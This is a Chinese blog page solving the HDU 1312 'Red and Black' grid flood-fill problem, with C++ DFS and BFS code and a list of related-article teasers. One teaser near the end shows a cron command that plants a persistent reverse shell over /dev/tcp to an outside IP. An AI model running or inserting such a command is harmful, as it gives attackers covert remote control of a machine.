HDU 1312 Red and Black (DFS & BFS)
原题链接:http://acm.hdu.edu.cn/showproblem.php?pid=1312
题目大意:有一间矩形房屋,地上铺了红、黑两种颜色的方形瓷砖。你站在其中一块黑色的瓷砖上,只能向相邻的黑色瓷砖移动,计算你总共能够到达多少块黑色的瓷砖。
要求:输入包含多组数据,每组数据的第一行输入的是两个整数 W 和 H, 分别表示 x 方向与 y 方向上的瓷砖数量,并且 W 和 H 都不超过20。在接下来的 H 行中,每行包含 W 个字符,每个字符表示一块瓷砖的颜色,规则如下:
' . ' 代表黑色的瓷砖;
' # '代表白色的瓷砖;
' @ ' 代表黑色的瓷砖,并且你站在这块瓷砖上,该字符在每个数据集合中唯一出现一次。
当在一行中读入的是两个零时,表示输入结束。
对每个数据集合,分别输出一行,显示你从初始位置出发能到达的瓷砖数(记数时包括初始位置的瓷砖)。
思路:这道题算是一道比较典型的 DFS 题,但也可以用 BFS 做出来。
代码:
DFS
#include <iostream>
#include <cstring>
using namespace std;
#define clr(a) memset(a,0,sizeof(a))
const int MAXN = 25;
int dir[2][4]={1, -1 , 0, 0, 0, 0, 1, -1};
int w, h, ans, sx, sy;
int mp[MAXN][MAXN];
char s[MAXN][MAXN];
int DFS(int x,int y){
mp[x][y] = 1;
for(int i=0;i<4;i++){
int dx = x + dir[0][i];
int dy = y + dir[1][i];
if (dx >= 0 && dy >= 0 && dy < w && dx < h &&
s[dx][dy] == '.' && !mp[dx][dy]) {
ans++;
DFS(dx, dy);
}
}
return ans;
}
int main() {
while (scanf("%d %d", &w, &h) != EOF) {
if (w == 0 && h == 0) break;
clr(mp);
for (int i = 0; i < h; i++) {
for (int j = 0; j < w; j++) {
cin >> s[i][j];
if (s[i][j] == '@') {
sx = i;
sy = j;
}
}
}
ans = 1;
cout << DFS(sx, sy) << endl;
}
return 0;
}
BFS (使用 广搜时可以把搜索过的地方用 ' # ' 进行标记)
#include <iostream>
#include <queue>
using namespace std;
const int N = 25;
int w, h, sx, sy, ans;
char s[N][N];
int d[4][2] = {1, 0, -1, 0, 0, 1, 0, -1};
struct node {
int x, y;
};
void bfs() {
node start, end;
queue<node> q;
start.x = sx;
start.y = sy;
q.push(start);
while (!q.empty()) {
start = q.front();
q.pop();
for (int i = 0; i < 4; i++) {
end.x = start.x + d[i][0];
end.y = start.y + d[i][1];
if (end.x >= 0 && end.y >= 0 && end.y < w && end.x < h &&
s[end.x][end.y] == '.' ) {
ans++;
s[end.x][end.y] = '#';
q.push(end);
}
}
}
}
int main() {
while (cin >> w >> h) {
if (w == 0 && h == 0) break;
for (int i = 0; i < h; i++)
for (int j = 0; j < w; j++) {
cin >> s[i][j];
if (s[i][j] == '@') {
sx = i;
sy = j;
}
}
ans = 1;
bfs();
cout << ans << endl;
}
return 0;
}
HDU 1312 Red and Black (DFS & BFS)的更多相关文章
- HDU 1312 Red and Black(bfs,dfs均可,个人倾向bfs)
题目代号:HDU 1312 题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1312 Red and Black Time Limit: 2000/100 ...
- HDU 1312 Red and Black DFS(深度优先搜索) 和 BFS(广度优先搜索)
Red and Black Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total ...
- HDU 1312 Red and Black(DFS,板子题,详解,零基础教你代码实现DFS)
Red and Black Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) To ...
- HDU 1312 Red and Black(bfs)
Red and Black Time Limit:1000MS Memory Limit:32768KB 64bit IO Format:%I64d & %I64u Descr ...
- HDU 1312 Red and Black (DFS)
Problem Description There is a rectangular room, covered with square tiles. Each tile is colored eit ...
- HDU 1312 Red and Black --- 入门搜索 BFS解法
HDU 1312 题目大意: 一个地图里面有三种元素,分别为"@",".","#",其中@为人的起始位置,"#"可以想象 ...
- HDU 1312 Red and Black --- 入门搜索 DFS解法
HDU 1312 题目大意: 一个地图里面有三种元素,分别为"@",".","#",其中@为人的起始位置,"#"可以想象 ...
- HDU 1312:Red and Black(DFS搜索)
HDU 1312:Red and Black Time Limit:1000MS Memory Limit:30000KB 64bit IO Format:%I64d & ...
- HDU 1312 Red and Black (dfs)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1312 Red and Black Time Limit: 2000/1000 MS (Java/Oth ...
随机推荐
- react原理分析--this.state修改引起的重新渲染
整理向,非原创,目的是整理出浅显易懂的方向性说明. 比如现有 this.state={name:"小明",age:18} 我们说修改组件的状态要用this.setState()来实 ...
- [BUUCTF]PWN6——ciscn_2019_c_1
[BUUCTF]PWN6--ciscn_2019_c_1 题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1 步骤: 例行检查,64位,开启了nx保护 nc ...
- 『忘了再学』Shell基础 — 2、Shell的作用与分类
目录 1.Shell的作用 2.Shell的分类 1.Shell的作用 Shell除了能解释用户输入的命令,将它传递给内核,还可以: 调用其他程序,给其他程序传递数据或参数,并获取程序的处理结果. 在 ...
- 阿里面试题: (a,b,c)组合索引, 查询语句select...from...where a=.. and c=..走索引吗?
面试官:(a,b,c)组合索引,查询语句select...from...where a=.. and c=..走索引吗应聘者: 最佳左前缀法,如果索引了多列,要遵守最左前缀法则,否则索引失效 按最左前 ...
- 11 - Vue3 UI Framework - Card 组件
卡片是非常常用也是非常重要的组件,特别是在移动端的众多应用场景中,随便打开一个手机 App ,您会发现充斥着各种各样的卡片. 所以,我们也来制作一个简易的 Card 组件 返回阅读列表点击 这里 需求 ...
- CF1036D Vasya and Arrays 题解
Content 给定两个长度分别为 \(n\) 和 \(m\) 的数列 \(A,B\).你需要将两个数列都恰好分成 \(k\) 份,使得两个数列中第 \(i(i\in[1,k])\) 份的元素和对应相 ...
- 查看服务backlog大小 Send-Q
ss -ntl 如下图 LISTEN 状态: Recv-Q 表示的当前等待服务端调用 accept 完成三次握手的 listen backlog 数值,也就是说,当客户端通过 con ...
- C++ 11新特性:std bind 原理简单图解(转载)
本文解释了bind 是如何工作的.为了清晰,我对图中的语法作了一些简化(例如,省略函数调用操作符的参数类型),并且简化了 bind 的实现. bind 可以用来将用户提供的需要一个参数的函数转换成不需 ...
- 隐藏计划任务反弹shell
靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...
- 1275 - Internet Service Providers
1275 - Internet Service Providers PDF (English) Statistics Forum Time Limit: 2 second(s) Memory L ...